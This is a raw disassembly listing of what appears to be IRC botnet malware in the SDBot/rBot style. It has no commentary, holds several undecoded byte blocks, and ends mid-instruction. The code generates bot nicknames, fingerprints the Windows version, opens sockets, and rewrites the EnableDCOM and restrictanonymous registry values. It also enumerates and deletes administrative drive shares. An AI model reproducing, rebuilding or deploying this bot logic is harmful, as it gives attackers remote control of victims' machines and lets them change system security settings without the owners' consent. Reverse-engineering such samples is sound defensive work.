sub_4156DF proc near ; CODE XREF: ___:004155E3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_41570A push [esp+arg_4] push [esp+4+arg_0] push offset dword_4389A0 call sub_40BFE1 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_41570A: ; CODE XREF: sub_4156DF+11j push 1 pop eax retn sub_4156DF endp ; --------------------------------------------------------------------------- word_41570E dw 8B55h ; DATA XREF: sub_40EE72+5623o dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch dd 2026850h, 15FF0000h, 43F5E0h, 0C63BF633h, 68501D74h dd 438B64h, 0FF688CE8h, 0B475FFFFh, 191BE8h, 0CC48300h dd 83E89057h, 57021CABh, 41598C68h, 0B53BE800h, 85900239h dd 902975C0h, 21AB96E8h, 14685002h, 0E800438Bh, 0FFFF6859h dd 15FF5959h, 43F5C8h, 0E8B475FFh, 18E0h, 4BE85759h, 90021CABh dd 8D106A53h, 5056E045h, 1B83E8h, 0CC48300h, 0E045C766h dd 75FF0002h, 6815FFB0h, 6A0043F6h, 26A5706h, 0E2458966h dd 0FFE47589h, 43F6E815h, 83D88B00h, 840FFFFBh, 13Bh, 6AB4458Bh dd 34C06910h, 89000002h, 4450CC98h, 0E0458D00h, 15FF5350h dd 43F694h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh, 43F690h dd 850FC085h, 103h, 438AC868h, 0F045C700h, 0Ch, 89F47589h dd 42E8F875h, 59FFFF67h, 8D087D89h, 45C7FC45h, 10FCh, 458D5000h dd 0FF5350CCh, 43F6FC15h, 83F88B00h, 840FFFFFh, 0CAh, 8D0875FFh dd 6A500845h, 0FFFF6808h, 0FF570000h, 43F64815h, 0FFF88300h dd 0B70FC574h, 75FFCE45h, 0C87589B4h, 0D075FF50h, 0F6F415FFh dd 8D500043h, 0FFFBEC85h, 8A7468FFh, 0E8500043h, 1A20h dd 0FBEC858Dh, 0E850FFFFh, 0FFFF66D1h, 0EC858D57h, 6AFFFFFBh dd 0B1E85006h, 89000014h, 0C069B845h, 234h, 83B44D8Bh dd 888924C4h, 4450C4h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh dd 41548068h, 0F0458D00h, 70E85056h, 900224B4h, 69B84D8Bh dd 234C9h, 89C63B00h, 4450D481h, 39137400h, 850FC875h dd 0FFFFFF37h, 3AE8326Ah, 90021DABh, 0E890EDEBh, 221AA0Bh dd 8A286850h, 0CEE80043h, 59FFFF66h, 8B03EB59h, 15FF087Dh dd 43F5FCh, 0EC858D50h, 68FFFFFBh, 4389E4h, 197EE850h dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 22E8FFFFh, 83FFFF7Dh dd 858D14C4h, 0FFFFFBECh, 6607E850h, 5759FFFFh, 0F70015FFh dd 0FF530043h, 43F70015h, 0C815FF00h, 0FF0043F5h, 0F5E8B475h dd 59000016h, 5FE89056h, 5B021CA9h, 4439C033h, 940F0424h db 0C0h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_415996 proc near ; CODE XREF: sub_415D01+49p ; DATA XREF: ___:off_438BB0o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi nop call near ptr 25E08E4h push eax call sub_417302 mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset aBot ; "[bot]-" push offset aS_1 ; "%s" push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_4159EF loc_4159C9: ; CODE XREF: sub_415996+57j call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_438C04 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_4159C9 loc_4159EF: ; CODE XREF: sub_415996+31j mov eax, edi pop edi pop esi retn sub_415996 endp ; =============== S U B R O U T I N E ======================================= sub_4159F4 proc near ; CODE XREF: sub_40EE72+3E81p arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 25E08E4h push eax call sub_417302 pop ecx call sub_41730C push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_42F5C8 test esi, esi jle short loc_415A37 loc_415A21: ; CODE XREF: sub_4159F4+41j call sub_41730C push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_415A21 loc_415A37: ; CODE XREF: sub_4159F4+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_4159F4 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h nop call near ptr 25E08E4h push eax call sub_417302 pop ecx lea eax, [ebp-8] mov esi, offset byte_438C0C push eax push esi call near ptr 27A0000h nop movsx eax, byte_438C0C push 41h pop ecx push 1 pop edx loc_415A7D: ; CODE XREF: ___:00415A88j cmp eax, ecx jnz short loc_415A84 mov [ebp-4], edx loc_415A84: ; CODE XREF: ___:00415A7Fj inc ecx cmp ecx, 5Bh jl short loc_415A7D push 61h pop ecx loc_415A8D: ; CODE XREF: ___:00415A98j cmp eax, ecx jnz short loc_415A94 mov [ebp-4], edx loc_415A94: ; CODE XREF: ___:00415A8Fj inc ecx cmp ecx, 7Bh jl short loc_415A8D mov edi, [ebp+8] push esi push 1Ch push edi call sub_41782A xor esi, esi add esp, 0Ch cmp dword_42F5C8, esi jle short loc_415AD9 loc_415AB3: ; CODE XREF: ___:00415AD7j call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_438C04 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415AB3 loc_415AD9: ; CODE XREF: ___:00415AB1j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call near ptr 25E08E4h nop push eax call sub_417302 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call near ptr 27C0000h nop mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_438C10 push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_415B4E loc_415B28: ; CODE XREF: ___:00415B4Cj call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_438C04 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415B28 loc_415B4E: ; CODE XREF: ___:00415B26j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_43C80C mov dword ptr [ebp-94h], 94h nop call near ptr 2771415h nop call near ptr 25E08E4h push eax call sub_417302 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_415BD8 cmp dword ptr [ebp-8Ch], 0 jnz short loc_415BB8 cmp dword ptr [ebp-84h], 1 jnz short loc_415BA8 mov esi, offset a95 ; "95" loc_415BA8: ; CODE XREF: ___:00415BA1j cmp dword ptr [ebp-84h], 2 jnz short loc_415C14 mov esi, offset aNt ; "NT" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BB8: ; CODE XREF: ___:00415B98j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_415BC8 mov esi, offset a98 ; "98" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BC8: ; CODE XREF: ___:00415BBFj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_415C0F mov esi, offset aMe ; "ME" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BD8: ; CODE XREF: ___:00415B8Fj cmp dword ptr [ebp-90h], 5 jnz short loc_415C0F cmp dword ptr [ebp-8Ch], 0 jnz short loc_415BF1 mov esi, offset a2k ; "2K" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BF1: ; CODE XREF: ___:00415BE8j cmp dword ptr [ebp-8Ch], 1 jnz short loc_415C01 mov esi, offset aXp ; "XP" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415C01: ; CODE XREF: ___:00415BF8j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_438C1C jz short loc_415C14 loc_415C0F: ; CODE XREF: ___:00415BCFj ; ___:00415BDFj mov esi, offset dword_42DDDC loc_415C14: ; CODE XREF: ___:00415BAFj ; ___:00415BB6j ... mov edi, [ebp+8] push esi push offset dword_438C14 push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_415C58 loc_415C32: ; CODE XREF: ___:00415C56j call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_438C04 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415C32 loc_415C58: ; CODE XREF: ___:00415C30j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C5E proc near ; CODE XREF: sub_415D01+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call near ptr 25E08E4h nop xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_415CAD call dword_43F674 test eax, eax mov eax, offset dword_438C28 jnz short loc_415C96 mov eax, offset byte_43C80C loc_415C96: ; CODE XREF: sub_415C5E+31j push eax push esi push offset dword_438C20 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41782A add esp, 14h jmp short loc_415CCD ; --------------------------------------------------------------------------- loc_415CAD: ; CODE XREF: sub_415C5E+22j call dword_43F674 test eax, eax mov eax, offset dword_438C28 jnz short loc_415CC1 mov eax, offset byte_43C80C loc_415CC1: ; CODE XREF: sub_415C5E+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_4172B0 pop ecx pop ecx loc_415CCD: ; CODE XREF: sub_415C5E+4Dj lea eax, [ebp+var_1C] push eax call sub_417AB0 pop ecx cmp eax, 2 pop esi jbe short loc_415CFC push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_418DE0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_418C10 add esp, 18h loc_415CFC: ; CODE XREF: sub_415C5E+7Dj mov eax, [ebp+arg_0] leave retn sub_415C5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D01 proc near ; CODE XREF: sub_40EB92+7Fp ; sub_40ECFA+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_438BAC loc_415D0D: ; CODE XREF: sub_415D01+3Fj cmp [ebp+arg_C], 0 jz short loc_415D28 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_4176D0 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_415D32 ; --------------------------------------------------------------------------- loc_415D28: ; CODE XREF: sub_415D01+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_415D32: ; CODE XREF: sub_415D01+25j test eax, eax jnz short loc_415D44 add esi, 14h inc edi cmp esi, offset dword_438C10 jb short loc_415D0D jmp short loc_415D52 ; --------------------------------------------------------------------------- loc_415D44: ; CODE XREF: sub_415D01+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_438BB0[eax*4] pop ecx loc_415D52: ; CODE XREF: sub_415D01+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_415D65 push [ebp+arg_0] call sub_415C5E pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_415D65: ; CODE XREF: sub_415D01+57j mov eax, [ebp+arg_0] pop ebp retn sub_415D01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D6A proc near var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 1 rep movsd pop esi mov [eax+0A4h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_34] call dword_43F668 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_43F6E8 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_415E28 lea eax, [ebp+var_10] push 10h push eax push esi call dword_43F610 mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_4450CC[ecx], esi jz short loc_415E28 push [ebp+var_34] push [ebp+var_28] call dword_43F6F4 push eax mov edi, offset dword_489DE4 push offset unk_438C2C push edi call sub_4172B0 push 0 lea eax, [ebp+var_B4] push [ebp+var_20] push edi push eax push [ebp+var_B8] call sub_40D679 push edi call sub_40BF6D add esp, 28h loc_415E28: ; CODE XREF: sub_415D6A+5Dj ; sub_415D6A+7Ej push esi call dword_43F700 pop edi xor eax, eax pop esi leave retn 4 sub_415D6A endp ; --------------------------------------------------------------------------- byte_415E37 db 55h ; DATA XREF: sub_40EE72+35E2o dd 0EC81EC8Bh, 130h, 85D8B53h, 2A6A5756h, 8D59F38Bh, 0FFFF50BDh dd 8BA5F3FFh, 42406435h, 0A083C700h, 1000000h, 33000000h dd 0D475FFFFh, 0FFE075FFh, 43F6F415h, 858D5000h, 0FFFFFED0h dd 438C6468h, 2DE85000h, 8D000014h, 0FFFED085h, 1FF68FFh dd 8B500000h, 0C069DC45h, 234h, 444EC005h, 6DE85000h, 8300002Dh dd 458D1CC4h, 858D50F8h, 0FFFFFF50h, 6A685057h, 5700415Dh dd 0AE8DE857h, 3B900224h, 0FC4589C7h, 7D390B74h, 6A0675F4h dd 0EBD6FF32h, 0FC75FFF5h, 0BB57E890h, 0B3FF021Fh, 88h dd 0A4BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 99E85008h dd 83000014h, 75FF0CC4h, 9C15FF08h, 400043F5h, 8458950h dd 0F66415FFh, 45890043h, 8458D08h, 8D50046Ah, 0E850E045h dd 1470h, 0E90CC483h, 0FFFFFF3Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F28 proc near ; DATA XREF: sub_40EE72+5F4Fo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_415F6F call sub_415F88 jmp short loc_415F74 ; --------------------------------------------------------------------------- loc_415F6F: ; CODE XREF: sub_415F28+3Ej call sub_4162AC loc_415F74: ; CODE XREF: sub_415F28+45j add esp, 10h push [ebp+var_14] call sub_417078 pop ecx push 0 nop call near ptr 25E02EAh sub_415F28 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F88 proc near ; CODE XREF: sub_415F28+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_43F738, edi jnz loc_4160BA lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43F6D8 test eax, eax jnz short loc_416013 mov ax, word_439014 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43F68C test eax, eax jz short loc_415FF5 push offset unk_438FD4 jmp short loc_415FFA ; --------------------------------------------------------------------------- loc_415FF5: ; CODE XREF: sub_415F88+64j push offset dword_438FA8 loc_415FFA: ; CODE XREF: sub_415F88+6Bj lea eax, [ebp+var_214] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43F644 jmp short loc_416026 ; --------------------------------------------------------------------------- loc_416013: ; CODE XREF: sub_415F88+36j lea eax, [ebp+var_214] push offset unk_438F68 push eax call sub_4172B0 pop ecx pop ecx loc_416026: ; CODE XREF: sub_415F88+89j cmp [ebp+arg_C], edi jnz short loc_416045 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416045: ; CODE XREF: sub_415F88+A1j lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43F6D8 test eax, eax jnz short loc_4160B3 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_43F68C test eax, eax jz short loc_416095 push offset unk_438F08 jmp short loc_41609A ; --------------------------------------------------------------------------- loc_416095: ; CODE XREF: sub_415F88+104j push offset unk_438EC4 loc_41609A: ; CODE XREF: sub_415F88+10Bj lea eax, [ebp+var_214] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43F644 jmp short loc_4160CD ; --------------------------------------------------------------------------- loc_4160B3: ; CODE XREF: sub_415F88+E2j push offset unk_438E78 jmp short loc_4160BF ; --------------------------------------------------------------------------- loc_4160BA: ; CODE XREF: sub_415F88+13j push offset unk_438E38 loc_4160BF: ; CODE XREF: sub_415F88+130j lea eax, [ebp+var_214] push eax call sub_4172B0 pop ecx pop ecx loc_4160CD: ; CODE XREF: sub_415F88+129j cmp [ebp+arg_C], edi jnz short loc_4160EC push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_4160EC: ; CODE XREF: sub_415F88+148j lea eax, [ebp+var_214] push eax call sub_40BF6D cmp dword_43F760, edi pop ecx jnz loc_416267 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41610F: ; CODE XREF: sub_415F88+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_43F5B4 cmp eax, edi mov [ebp+var_10], eax jz short loc_4161AC cmp eax, 0EAh jz short loc_4161AC mov esi, offset off_438CA0 loc_416140: ; CODE XREF: sub_415F88+21Dj push dword ptr [esi] push edi call sub_40DCC3 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_416157 push offset unk_438E04 jmp short loc_41615C ; --------------------------------------------------------------------------- loc_416157: ; CODE XREF: sub_415F88+1C6j push offset unk_438DC8 loc_41615C: ; CODE XREF: sub_415F88+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41618F push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41618F: ; CODE XREF: sub_415F88+1EBj lea eax, [ebp+var_214] push eax call sub_40BF6D add esi, 8 pop ecx cmp esi, offset dword_438CC0 jb short loc_416140 jmp loc_416244 ; --------------------------------------------------------------------------- loc_4161AC: ; CODE XREF: sub_415F88+1AAj ; sub_415F88+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41623B loc_4161BB: ; CODE XREF: sub_415F88+2AFj mov edi, [esi] push edi call sub_41999C cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_416230 push edi call sub_40DBB0 push eax push 0 call sub_40DCC3 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_4161EA push offset unk_438D94 jmp short loc_4161EF ; --------------------------------------------------------------------------- loc_4161EA: ; CODE XREF: sub_415F88+259j push offset unk_438D58 loc_4161EF: ; CODE XREF: sub_415F88+260j lea eax, [ebp+var_214] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_416223 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416223: ; CODE XREF: sub_415F88+27Fj lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx loc_416230: ; CODE XREF: sub_415F88+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_4161BB xor edi, edi loc_41623B: ; CODE XREF: sub_415F88+22Dj push [ebp+var_8] call dword_43F6F8 loc_416244: ; CODE XREF: sub_415F88+21Fj cmp [ebp+var_10], 0EAh jz loc_41610F lea eax, [ebp+var_214] push offset unk_438D20 push eax call sub_4172B0 pop ecx pop ecx pop ebx jmp short loc_41627A ; --------------------------------------------------------------------------- loc_416267: ; CODE XREF: sub_415F88+177j lea eax, [ebp+var_214] push offset unk_438CE0 push eax call sub_4172B0 pop ecx pop ecx loc_41627A: ; CODE XREF: sub_415F88+2DDj cmp [ebp+arg_C], edi jnz short loc_416298 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416298: ; CODE XREF: sub_415F88+2F5j lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx push 1 pop eax pop edi pop esi leave retn sub_415F88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4162AC proc near ; CODE XREF: sub_415F28:loc_415F6Fp var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_43F738, ebx push esi jnz loc_4163DA lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43F6D8 test eax, eax jnz short loc_416337 mov ax, word_4391FC mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43F68C test eax, eax jz short loc_416319 push offset unk_4391C8 jmp short loc_41631E ; --------------------------------------------------------------------------- loc_416319: ; CODE XREF: sub_4162AC+64j push offset dword_43919C loc_41631E: ; CODE XREF: sub_4162AC+6Bj lea eax, [ebp+var_220] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43F644 jmp short loc_41634A ; --------------------------------------------------------------------------- loc_416337: ; CODE XREF: sub_4162AC+36j lea eax, [ebp+var_220] push offset unk_438F68 push eax call sub_4172B0 pop ecx pop ecx loc_41634A: ; CODE XREF: sub_4162AC+89j cmp [ebp+arg_C], ebx jnz short loc_416369 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416369: ; CODE XREF: sub_4162AC+A1j lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43F6D8 test eax, eax jnz short loc_4163D3 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_43F68C test eax, eax jz short loc_4163B5 push offset unk_439150 jmp short loc_4163BA ; --------------------------------------------------------------------------- loc_4163B5: ; CODE XREF: sub_4162AC+100j push offset unk_43910C loc_4163BA: ; CODE XREF: sub_4162AC+107j lea eax, [ebp+var_220] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43F644 jmp short loc_4163ED ; --------------------------------------------------------------------------- loc_4163D3: ; CODE XREF: sub_4162AC+E2j push offset unk_4390C0 jmp short loc_4163DF ; --------------------------------------------------------------------------- loc_4163DA: ; CODE XREF: sub_4162AC+13j push offset unk_438E38 loc_4163DF: ; CODE XREF: sub_4162AC+12Cj lea eax, [ebp+var_220] push eax call sub_4172B0 pop ecx pop ecx loc_4163ED: ; CODE XREF: sub_4162AC+125j cmp [ebp+arg_C], ebx jnz short loc_41640C push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41640C: ; CODE XREF: sub_4162AC+144j lea eax, [ebp+var_220] push eax call sub_40BF6D cmp dword_43F760, ebx pop ecx jnz loc_416581 push edi mov esi, offset off_438CA0 mov edi, 200h loc_416430: ; CODE XREF: sub_4162AC+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_40DC17 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41644B push offset unk_439090 jmp short loc_416450 ; --------------------------------------------------------------------------- loc_41644B: ; CODE XREF: sub_4162AC+196j push offset unk_439058 loc_416450: ; CODE XREF: sub_4162AC+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41647F push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41647F: ; CODE XREF: sub_4162AC+1B7j lea eax, [ebp+var_220] push eax call sub_40BF6D add esi, 8 pop ecx cmp esi, offset off_438CB0 jb short loc_416430 nop call near ptr 27C061Bh test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_416569 loc_4164AA: ; CODE XREF: sub_4162AC+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41655E cmp bl, 41h jz loc_41655E movsx esi, bl push esi push offset aC_2 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41782A add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_1 ; "%c:\\" push 0Ah push eax call sub_41782A add esp, 10h lea eax, [ebp+var_20] push eax call dword_43F6C8 cmp eax, 3 jnz short loc_41655E lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_40DC17 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41651C push offset unk_439090 jmp short loc_416521 ; --------------------------------------------------------------------------- loc_41651C: ; CODE XREF: sub_4162AC+267j push offset unk_439058 loc_416521: ; CODE XREF: sub_4162AC+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_416551 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416551: ; CODE XREF: sub_4162AC+289j lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx loc_41655E: ; CODE XREF: sub_4162AC+206j ; sub_4162AC+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_4164AA loc_416569: ; CODE XREF: sub_4162AC+1F8j lea eax, [ebp+var_220] push offset unk_439018 push eax call sub_4172B0 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_416594 ; --------------------------------------------------------------------------- loc_416581: ; CODE XREF: sub_4162AC+173j lea eax, [ebp+var_220] push offset unk_438CE0 push eax call sub_4172B0 pop ecx pop ecx loc_416594: ; CODE XREF: sub_4162AC+2D3j cmp [ebp+arg_C], ebx jnz short loc_4165B2 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_4165B2: ; CODE XREF: sub_4162AC+2EBj lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx push 1 pop eax pop esi pop ebx leave retn sub_4162AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4165C6 proc near ; CODE XREF: ___:0041562Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_416717 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_4450CC[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_4240A0 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4168E9 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_416631 nop call near ptr 2630313h push eax push offset dword_439244 call 